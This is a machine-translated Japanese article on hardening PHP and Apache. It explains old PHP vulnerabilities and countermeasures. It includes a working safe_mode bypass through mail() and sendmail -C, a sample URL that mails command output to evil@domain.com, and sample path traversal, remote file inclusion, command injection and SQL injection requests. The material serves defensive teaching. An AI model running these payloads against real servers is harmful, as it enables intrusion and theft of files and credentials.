PHP保険の設定

WBOY
リリース: 2016-06-13 13:25:32
オリジナル
1069 人が閲覧しました

PHP セキュリティ構成
1. Web サーバーのセキュリティ

PHP は実際には Web サーバーのモジュール機能にすぎないため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で次のようにメールを送信する場合にも問題があります。

[mail function]
; Win32 のみ。
SMTP = localhost

; Win32 のみ。
sendmail_from = me@localhost.com

はすべて Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。

2. PHP 自体の問題

1. リモート オーバーフロー

PHP-4.1.2 より前のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、攻撃プログラムには広く配布されており、成功率は非常に高いです:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2. リモートのサービス拒否

PHP-4.2.0 および PHP-4.2.1 には、ローカル ユーザーの権限を取得できませんが、PHP のマルチパート/フォームデータの POST リクエスト処理にリモートの脆弱性があります。サービス拒否を引き起こす可能性もあります。

3. セーフモードバイパスの脆弱性

PHP-4.2.2 以前から PHP-4.0.5 バージョン、バージョン 4.0.5 にはセーフモード制限実行コマンドの脆弱​​性をバイパスする PHP メール機能が存在します。 start mail 関数は 5 番目のパラメータを追加します。設計者の不注意のため、コマンドはセーフモードの制限を超えて実行される可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単で、セミコロンで区切ってシェル コマンドを追加するだけです。たとえば、PHP スクリプト evil.php:


次の URL を実行します:

http://foo.com/evil.php?bar= ;/usr /bin/id|mail evil@domain.com

これにより、id の実行結果が evil@domain.com に送信されます

PHP 4.0.6 から 4.2.2 が壊れる場合実際には、sendmail の -C パラメータが使用されるため、システムは sendmail を使用する必要があります。次のコードは、safe_mode 制限を突破してコマンドを実行できます:

#次の 2 つは存在してはならず、それらの所有者がこのスクリプトの所有者と同じであることに注意してください
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$ #local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script , "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody ", "", "", "", "-C$cf");
?>

上記の問題のあるバージョンの PHP を依然として使用しているユーザーはアップグレードする必要があります基本的なセキュリティ問題を排除できるよう、時間内に最新バージョンに更新する

3. PHP 自体のセキュリティ構成

PHP の構成は非常に柔軟で、php.ini、httpd.conf を通じて構成できます。 、.htaccess ファイル (このディレクトリを設定する必要があります)、AllowOverride All または Options)、スクリプト内で ini_set() およびその他の特定の関数を使用することもできます。構成オプションの値は、phpinfo() および get_cfg_var を通じて取得できます。 () 関数は、設定オプションが唯一の PHP_INI_SYSTEM 属性である場合、php.ini および httpd.conf を通じて変更する必要があります。ただし、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。

他の PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定するか、スクリプト自体で ini_set() 関数を使用してそれらを設定できます。値を変更すると、すぐに有効になります。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後のコードに対してのみ有効です。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます。

# grep PHP_INI_ /PHP_SRC/main /main.c

PHP のセキュリティ構成について説明する前に、PHP のセーフモード モードについてよく理解しておく必要があります。

1.safe_mode

safe_mode は唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです:

safe_mode = On

または httpd.conf を変更してディレクトリを定義します:


オプション FollowSymLinks
php_admin_valuesafe_mode 1


safe_mode は、Apache の再起動後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです:



いくつかのファイルの属性は次のとおりです:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr -x 16 ルート root 384 Jul 18 12:02 ..
-rw-r--r-- 1 ルート root 4110 2002 年 10 月 26 日index.html
-rw-r- -r-- 1 www-data www-data 41 Jul 19 19:14 test.php

ブラウザで test.php をリクエストすると、次のエラー メッセージが表示されます:

警告: セーフ モード制限が適用されています。uid/gid が 33/33 のスクリプトは、/var/www/test.php の 1 行目

の uid/gid 0/0 が所有する ./index.html にアクセスできません。操作したファイルが置かれているディレクトリのUIDがスクリプトのUIDと同じであるため、UIDがスクリプトと異なっていてもファイルにアクセスできます。これはPHPの脆弱性なのか、それとも別の隠れたものがあるのか​​疑問です。理由。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。

GID 比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます:

safe_mode_gid = On

safe_mode を設定すると、すべてのコマンド実行機能が php.ini のsafe_mode_exec_dir で指定されたディレクトリ内のプログラムの実行に制限され、shell_exec および `ls -l` によるコマンドの実行が禁止されます。本当に他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:

safe_mode_exec_dir = /usr/local/php/exec

次に、プログラムをこのディレクトリにコピーします。その後、php スクリプトはシステムおよびその他の関数を使用してプログラムを実行できます。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。

safe_mode_include_dir string
このディレクトリとそのサブディレクトリからファイルをインクルードする場合、UID/GID チェックをバイパスします (ディレクトリは include_path に存在するか、フルパスでインクルードされる必要があります)。

PHP 4.2.0 以降、このディレクティブは、単なるディレクトリではなく、include_path ディレクティブと同様のスタイルでセミコロン区切りのパスを受け入れることができます。

で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。

safe_mode_allowed_env_vars string
特定の環境変数を設定すると、セキュリティ侵害の可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO = BAR)。

注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。

safe_mode_protected_env_vars string
このディレクティブには、エンド ユーザーが putenv() を使用して変更できない環境変数のカンマ区切りのリストが含まれています。これらの変数は、safe_mode_allowed_env_vars で許可された変更が設定されている場合でも変更できません。

safe_mode は万能薬ではありません (PHP の以前のバージョンでは回避できます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。

safe_mode について説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて PHP サーバーを構成することで脆弱性を回避する方法について説明します。

2. 変数の不正使用

PHP のデフォルトでは、GET、POST、Cookie、Environment、Session の変数をグローバル変数として直接登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは、変数を初期化する習慣がないことがよくあります。次のようなプログラム スニペットは、攻撃に対して非常に脆弱です。 $pass == "hello")
$auth = 1;

if ($auth == 1)
echo "いくつかの重要な情報";
else
echo "何もありません";
?>

攻撃者は、次のリクエストを行うだけでチェックを回避できます:
http://victim/test_1.php?auth=1

これは非常に弱い間違いですが、phpnuke のリモート ファイル コピーの脆弱性など、いくつかのよく知られたプログラムでもこの間違いが犯されています: http://www.securityfocus.com/bid/3361

PHP-When 4.1 .0 がリリースされましたが、さまざまな変数を使用するために register_globals をオフにし、7 つの特別な配列変数を提供することが推奨されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。

解決策:

設定ファイル php.ini は register_globals = Off に設定します。

プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。

3. ファイルを開く

非常に脆弱なコード スニペット:

//test_2.php

if (! ($str = readfile("$filename"))) {
echo("ファイルを開けませんでした: $filename
n");
exit;
}
else {
echo $ str;
}
?>

攻撃者は任意の $filename を指定できるため、攻撃者は次のリクエストで /etc/passwd を参照できます:

http:// victim/test_2.php?filename=/etc/passwd

次のリクエストは php ファイル自体を読み取ることができます:

http://victim/test_2.php?filename= test_2.php

PHP のファイルを開く関数には、fopen()、file() などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルがアクセスされ、読み取られてしまいます。

解決策:

特に必要がない限り、PHP ファイルの操作を Web ディレクトリに制限します。以下は、Apache 設定ファイル httpd.conf を変更する例です:


php_admin_value open_basedir /usr/local/apache/htdocs
< ;/ Directory>

Apache を再起動した後、/usr/local/apache/htdocs ディレクトリ内の PHP スクリプトは独自のディレクトリ内のファイルのみを操作できます。それ以外の場合、PHP はエラーを報告します:

警告: open_basedir 制限が有効です。ファイルは、xx 行目の xxx にある間違ったディレクトリにあります。

セーフ モード モードを使用すると、前に説明したこの問題を回避できます。

4. 含まれるファイル

非常に脆弱なコード スニペット:

//test_3.php

if(file_exists ($filename) ))
include("$filename");
?>

この種の無責任なコードは、攻撃者が /etc/passwd ファイルを取得する可能性があります:
http://victim/test_3.php?filename=/etc/passwd

Unix バージョンの PHP の場合 (Win バージョンの PHP はリモートでファイルを開くことをサポートしていません)、攻撃者はシェルを含むファイルを作成できます。 http または ftp サービスが有効になっているマシン上でコマンドを実行する場合、たとえば http://攻撃/攻撃.txt の内容が である場合、次のリクエストを実行できます。ターゲット ホスト上のコマンド ls /etc:

http://victim/test_3.php?filename=http://攻撃/攻撃.txt

攻撃者 コードを取得することもできます。 Apache のログ ファイル access.log と error.log を含めてコマンドを実行します。ただし、干渉情報が多すぎるため、成功するのが難しい場合があります。
別の形式の場合は、次のコード スニペット:

//test_4.php

include("$lib/config.php");
?>

攻撃者は、自分のホスト上でコマンド実行コードを含む config.php ファイルを作成し、次のリクエストを使用してターゲット ホスト上でコマンドを実行できます:

http :/ /victim/test_4.php?lib=http://攻撃

PHP のインクルード関数には、include()、include_once()、require()、require_once などがあります。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。

解決策:

ファイルにパラメーターを含める場合は変数を使用しないようにプログラマに要求します。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、任意に指定してはなりません。ユーザー。

上で述べたように、ファイルを開く際の PHP 操作パスの制限は必須のオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:

allow_url_fopen = Off

Apache を再起動します。

5. ファイルのアップロード

php のファイル アップロード メカニズムは、ユーザーがアップロードしたファイルを php.ini の Upload_tmp_dir で定義された一時ディレクトリに保存します (デフォルトは、次のようなシステムの一時ディレクトリです)。 : /tmp ) を phpxXuoXG のようなランダムな一時ファイルに保存します。プログラムの実行が終了すると、一時ファイルも削除されます。 PHP は、アップロードされたファイルに対して 4 つの変数を定義します (たとえば、フォーム変数名は file で、

$file file_size #アップロードされたファイルのサイズ
$file_name #元の名前アップロードされたファイルの
$file_type #アップロードされたファイルのタイプ

推奨される使用法:

$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

これは最も単純なファイルアップロードコード:

//test_5.php

if(isset($upload) && $file != "none") {
copy ($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "File".$file_name." アップロードに成功しました! ";
exit;
}
?>


ファイルアップロード< /title><br><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><br></head><br><body bgcolor="#FFFFFF "><br><form enctype="multipart/form-data" method="post"><br>ファイルをアップロード:<br><input type="file" name="file" size=" 30"> <br /><input type="submit" name="upload" value="アップロード"><br></form><br></body><br></html> ;<br /> <br />このようなコードをアップロードすると、任意のファイルの読み取りやコマンドの実行に大きな問題が発生します。 <br />次のリクエストにより、/etc/passwd ドキュメントを Web ディレクトリ /usr/local/apache/htdocs/test の下の Attack.txt ファイルにコピーできます (注: このディレクトリは誰も書き込み可能であってはなりません): <br /> <br />http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=攻撃.txt<br /><br />次に、次のリクエストでパスワード ファイルを読み取ることができます: <br /><br />http ://victim /test/攻撃.txt<br /><br />攻撃者は php ファイルを他の拡張機能にコピーし、スクリプトのソース コードを漏洩する可能性があります。 <br />攻撃者はフォーム内の file_name 変数の値をカスタマイズし、書き込み権限のあるファイルをアップロードして上書きすることができます。 <br />攻撃者は、PHP スクリプトをアップロードしてホストのコマンドを実行することもできます。 <br /><br />解決策: <br /><br />PHP-4.0.3 以降では is_uploaded_file 関数と move_uploaded_file 関数が提供されており、操作されたファイルがユーザーによってアップロードされたファイルかどうかを確認できるため、システム ファイルが Web にコピーされることを回避できます。ディレクトリ。 <br />$HTTP_POST_FILES 配列を使用して、ユーザーがアップロードしたファイル変数を読み取ります。 <br />アップロード変数を厳密にチェックします。たとえば、php スクリプト ファイルは許可されません。 <br /><br />PHP スクリプトの操作を Web ディレクトリに制限すると、プログラマーがコピー機能を使用してシステム ファイルを Web ディレクトリにコピーできなくなる可能性があります。 move_uploaded_file は open_basedir によって制限されないため、php.ini の Upload_tmp_dir の値を変更する必要はありません。 <br />コピー操作によるソースコードの漏洩を避けるために、phpencode を使用して PHP スクリプトを暗号化します。 <br />ファイルとディレクトリのアクセス許可を厳密に構成し、アップロードされたディレクトリへの書き込みを許可しないユーザーのみを許可します。 <br />アップロード ディレクトリの PHP 解釈機能を削除するには、httpd.conf を変更します: <br /><br /><Directory /usr/local/apache/htdocs/upload><br /> php_flag エンジンをオフ<br /> #If php3 を php3_engine off<br /></Directory><br><br> に置き換えて Apache を再起動すると、アップロード ディレクトリ内の php ファイルが Apache で解釈できなくなります。ソースコードは直接表示するだけで問題ありません。 <br><br>6. コマンドの実行 <br><br>次のコード スニペットは PHPNetToolpack から抽出されたものです。詳細については、<br><br>http://www.securityfocus.com/bid/ を参照してください。 4303<br><br><?<br />//test_6.php<br /><br />system("traceroute $a_query",$ret_strs);<br />?><br><br>プログラムは $a_query 変数をフィルタリングしないため、攻撃者はセミコロンを使用して実行コマンドを追加できます。 <br><br>攻撃者は、次のリクエストを入力することで cat /etc/passwd コマンドを実行できます: <br><br>http://victim/test_6.php?a_query=www.example.com;cat /etc /passwd <br><br>PHP のコマンド実行関数には、system()、passthru()、popen()、`` などがあります。コマンド実行機能は非常に危険ですので、使用には十分注意してください。これを使用する場合は、ユーザー入力を厳密にチェックする必要があります。 <br><br>解決策: <br><br>プログラマは、escapeshellcmd() 関数を使用して、ユーザーが入力したシェル コマンドをフィルタリングする必要があります。 <br><br>safe_mode を有効にすると、コマンド実行時の多くの問題を解決できますが、PHP のバージョンが最新である必要があることに注意してください。PHP-4.2.2 より小さいバージョンでは、コマンドを実行するために、safe_mode の制限が回避される可能性があります。 <br><br>7. sql_inject<br><br>変数が処理されない場合、次の SQL ステートメントには問題が発生します: <br><br>select * from login where user='$user' and pass= ' $pass'<br><br>攻撃者は、ユーザー名とパスワードの両方に 1' または 1='1 を入力して検証を回避できます。 <br><br>ありがたいことに、PHP にはデフォルトのオプション magic_quotes_gpc = On があり、これにより、addlashes() 操作が GET、POST、COOKIE の変数に自動的に追加されます。上記の SQL ステートメントは次のようになります: <br><br>select * from login where user='1' or 1='1' and pass='1' or 1='1'<br><br> したがって、このタイプは回避されます。 sql_inject 攻撃の。 <br><br>数値フィールドの場合、多くのプログラマーは次のように記述します: <br><br>select * from test where id=$id<br><br>変数が一重引用符で囲まれていないため、sql_inject 攻撃が発生します。幸いなことに、MySQL には単純な関数があり、sqlserver などのデータベースにはコマンドを実行するための SQL ステートメントはなく、PHP の mysql_query() 関数では 1 つの SQL ステートメントしか実行できないため、複数の SQL ステートメントをセミコロンで区切る攻撃は機能しません。しかし、攻撃者は少なくともクエリ ステートメントを間違ったり、システムに関する情報を漏洩したり、予期せぬ状況を引き起こしたりする可能性があります。 <br><br>解決策: <br><br>SQL ステートメントに含めるユーザーによって送信されたすべての変数をプログラマがフィルタリングするように要求します。 <br>それが数値フィールドであっても、変数は一重引用符で囲む必要があります。MySQL 自体が文字列を数値に処理します。 <br>MySQL では、PHP プログラムに対する高レベルの権限をユーザーに与えず、自分のライブラリに対する操作のみを許可します。これにより、プログラムに問題がある場合の SELECT INTO OUTFILE... などの攻撃も回避されます。 <br><br>8. 警告とエラー メッセージ<br><br>PHP はデフォルトですべての警告とエラー メッセージを表示します: <br><br>error_reporting = E_ALL & ~E_NOTICE<br>display_errors = On<br><br>これは、通常の開発およびデバッグ中に、警告メッセージに基づいてプログラムのエラーをすぐに見つけることができ、非常に便利です。 <br>正式に適用されると、警告メッセージとエラー メッセージにユーザーは圧倒され、スクリプトの物理パスが攻撃者に漏洩し、さらなる攻撃に有益な情報が攻撃者に提供されます。そして、間違った場所にアクセスしなかったため、プログラムのエラーを修正するのが間に合わなくなりました。したがって、物理パスが攻撃者に漏洩しないようにするだけでなく、プログラムのエラーがどこにあるのかを自分自身で知るためにも、PHP のすべての警告およびエラー情報をログ ファイルに記録することが非常に賢明です。 <br><br>php.ini のエラー処理とログ部分を変更します: <br><br>error_reporting = E_ALL<br>display_errors = Off<br>log_errors = On<br>error_log = /usr/local/apache /logs/php_error.log<br><br>次に、Apache を再起動します。ファイル /usr/local/apache/logs/php_error.log は、nobody ユーザーによって書き込み可能でなければならないことに注意してください。 <br><br>9. disable_functions<br><br>一部の関数が依然として脅威であると思われる場合は、次のように php.ini で disable_functions を設定できます (このオプションは httpd.conf では設定できません)。 ><br>disable_functions = phpinfo, get_cfg_var<br><br>カンマで区切って複数の関数を指定できます。 Apache を再起動すると、phpinfo 関数と get_cfg_var 関数が無効になります。 phpinfo 関数と get_cfg_var 関数は、サーバー情報が漏洩しやすいため、実用的ではありませんので、閉じることをお勧めします。 <br><br>10. disable_classes<br><br>このオプションは、PHP-4.3.2 以降でのみ使用可能です。複数のクラス名がある場合は、それらをカンマで区切ります。 disable_classes は httpd.conf で設定できず、php.ini 設定ファイルでのみ変更できます。 <br><br>11. open_basedir<br><br>先ほどルーチンを分析した際に、open_basedir を使用してスクリプトの操作パスを制限することについても何度も述べましたが、ここでその特徴を紹介します。 open_basedir で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「open_basedir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合には、それらへのアクセスも許可されることを意味します。指定したディレクトリのみへのアクセスを制限したい場合は、パス名の末尾にスラッシュを付けます。例: 「open_basedir = /dir/incl/」。 <br>Windows では、ディレクトリをセミコロンで区切って複数のディレクトリを設定できます。他のシステム上のディレクトリを区切るにはコロンを使用します。 Apache モジュールとして使用する場合、親ディレクトリの open_basedir パスが自動的に継承されます。 <br><br>4. その他のセキュリティ設定<br><br>1. 一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、実行権限をキャンセルします<br><br>一般的な管理者のメンテナンスに必要なのは、通常の 1 つのみです。ユーザーと管理 ユーザーは、これら 2 人のユーザーに加えて、他のユーザーに実行およびアクセスできる権限をできるだけ少なくする必要があります。そのため、一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、および実行の権限をキャンセルすると、許可が与えられる可能性があります。攻撃者がプログラムやサービスの脆弱性を悪用する機会が与えられ、大きな混乱が生じます。読み取り権限を必ず削除してください。削除しないと、/lib/ld-linux.so.2 /bin/ls を使用して Linux で実行できます。 <br>chroot 環境でプロセスをキャンセルする場合、このタスクは簡単に実行できます。そうでない場合、このタスクはまだ多少困難です。一部のプログラムの実行権限を取り消すと、一部のサービスが異常動作する可能性があるためです。 PHP のメール関数では、レターを送信するために /bin/sh が sendmail を呼び出す必要があるため、/bin/bash の実行権限を削除することはできません。これは面倒な作業です。<br><br> 2. Apache ログから他のユーザーの読み取り権限を削除します。<br><br>Apache のアクセス ログは、ローカルの脆弱性を含む一部のプログラムに便利なドアを提供します。 PHP コードを含む URL を送信すると、アクセス ログに PHP コードが含まれるようになり、インクルード ファイルをアクセス ログにポイントして、それらの PHP コードを実行してローカル アクセスを取得できます。 <br>他の仮想ホストがある場合は、ログ ファイルに対する他のユーザーの読み取り権限もそれに応じて削除する必要があります。 <br><br>もちろん、上記のように PHP を設定すると、通常はログ ファイルを読み取ることができなくなります。 <br></p> <div class="clear"></div> </div> </div> <div style="height: 25px;"> <div class="wzconBq" style="display: inline-flex;"> <span>関連ラベル:</span> <div class="wzcbqd"> <a onclick="hits_log(2,'www',this);" href-data="http://www.php.cn/ja/search?word=apache" target="_blank">apache</a> <a onclick="hits_log(2,'www',this);" href-data="http://www.php.cn/ja/search?word=nbsp" target="_blank">nbsp</a> <a onclick="hits_log(2,'www',this);" href-data="http://www.php.cn/ja/search?word=php" target="_blank">php</a> <a onclick="hits_log(2,'www',this);" href-data="http://www.php.cn/ja/search?word=safe" target="_blank">SAFE</a> </div> </div> <div style="display: inline-flex;float: right; color:#333333;">ソース:php.cn</div> </div> <div class="wzconOtherwz"> <a href="http://www.php.cn/ja/faq/220448.html" title="Nginx に ThinkPHP の URL 書き換えと PATHINFO をサポートさせます"> <span>前の記事:Nginx に ThinkPHP の URL 書き換えと PATHINFO をサポートさせます</span> </a> <a href="http://www.php.cn/ja/faq/220450.html" title="php.ini は、日付関数に警告が表示されないようにタイムゾーンを設定します。"> <span>次の記事:php.ini は、日付関数に警告が表示されないようにタイムゾーンを設定します。</span> </a> </div> <div class="wzconShengming"> <div class="bzsmdiv">このウェブサイトの声明</div> <div>この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。</div> </div> <div class="wwads-cn wwads-horizontal" data-id="156" style="max-width:955px"></div> <div class="wzconZzwz"> <div class="wzconZzwztitle">著者別の最新記事</div> <ul> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796639331.html">NullPointerException とは何ですか?どのように修正すればよいですか?</a> </div> <div>2024-10-22 09:46:29</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796629482.html">初心者からプログラマーへ: 旅は C の基礎から始まります</a> </div> <div>2024-10-13 13:53:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796628545.html">PHP による Web 開発のロックを解除する: 初心者ガイド</a> </div> <div>2024-10-12 12:15:51</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627928.html">C の謎を解く: 新人プログラマーのための明確でシンプルな道</a> </div> <div>2024-10-11 22:47:31</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627806.html">コーディングの可能性を解き放つ: まったくの初心者のための C プログラミング</a> </div> <div>2024-10-11 19:36:51</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627670.html">内なるプログラマーを解き放つ: まったくの初心者のための C</a> </div> <div>2024-10-11 15:50:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627643.html">C で生活を自動化する: 初心者向けのスクリプトとツール</a> </div> <div>2024-10-11 15:07:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627620.html">PHP を簡単に: Web 開発の最初のステップ</a> </div> <div>2024-10-11 14:21:21</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627574.html">Python で何でも構築: 創造性を解き放つための初心者ガイド</a> </div> <div>2024-10-11 12:59:11</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="http://www.php.cn/ja/faq/1796627539.html">コーディングの鍵: 初心者のための Python の力を解き放つ</a> </div> <div>2024-10-11 12:17:31</div> </li> </ul> </div> <div class="wzconZzwz"> <div class="wzconZzwztitle">最新の問題</div> <div class="wdsyContent"> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="http://www.php.cn/ja/wenda/176411.html" target="_blank" title="function_exists() はカスタム関数を決定できません" class="wdcdcTitle">function_exists() はカスタム関数を決定できません</a> <a href="http://www.php.cn/ja/wenda/176411.html" class="wdcdcCons">Function test () {return true;} if (function_exists ('test')) {echo "テストは関数です";</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> から 2024-04-29 11:01:01</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>2</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>1429</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="http://www.php.cn/ja/wenda/176406.html" target="_blank" title="親ウィンドウには出力がありません" class="wdcdcTitle">親ウィンドウには出力がありません</a> <a href="http://www.php.cn/ja/wenda/176406.html" class="wdcdcCons">document.onclick = function(){ window.opener.document.write('私は子ウィンドウの出力です');</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> から 2024-04-18 23:52:34</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>1</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>1284</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="http://www.php.cn/ja/wenda/176403.html" target="_blank" title="PX から REM への自動変換エラー" class="wdcdcTitle">PX から REM への自動変換エラー</a> <a href="http://www.php.cn/ja/wenda/176403.html" class="wdcdcCons"><style>html { font-size: calc(100vw / 3.75); }body { font-size: 0.16rem; }</style...</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> から 2024-04-16 09:34:16</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>0</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>4687</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> </div> </div> <div class="wzconZt" > <div class="wzczt-title"> <div>関連トピック</div> <a href="http://www.php.cn/ja/faq/zt" target="_blank">詳細> </a> </div> <div class="wzcttlist"> <ul> <li class="ul-li"> <a target="_blank" href="http://www.php.cn/ja/faq/apachessmys"><img src="https://img.php.cn/upload/subject/202407/22/2024072214161898787.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="アパッチってどういう意味ですか?" /> </a> <a target="_blank" href="http://www.php.cn/ja/faq/apachessmys" class="title-a-spanl" title="アパッチってどういう意味ですか?"><span>アパッチってどういう意味ですか?</span> </a> </li> <li class="ul-li"> <a target="_blank" href="http://www.php.cn/ja/faq/phpwjzmdk"><img src="https://img.php.cn/upload/subject/202407/22/2024072214120868901.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="phpファイルの開き方" /> </a> <a target="_blank" href="http://www.php.cn/ja/faq/phpwjzmdk" class="title-a-spanl" title="phpファイルの開き方"><span>phpファイルの開き方</span> </a> </li> <li class="ul-li"> <a target="_blank" href="http://www.php.cn/ja/faq/phpzmqcszys"><img src="https://img.php.cn/upload/subject/202407/22/2024072214004499289.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="PHPで配列の最初のいくつかの要素を削除する方法" /> 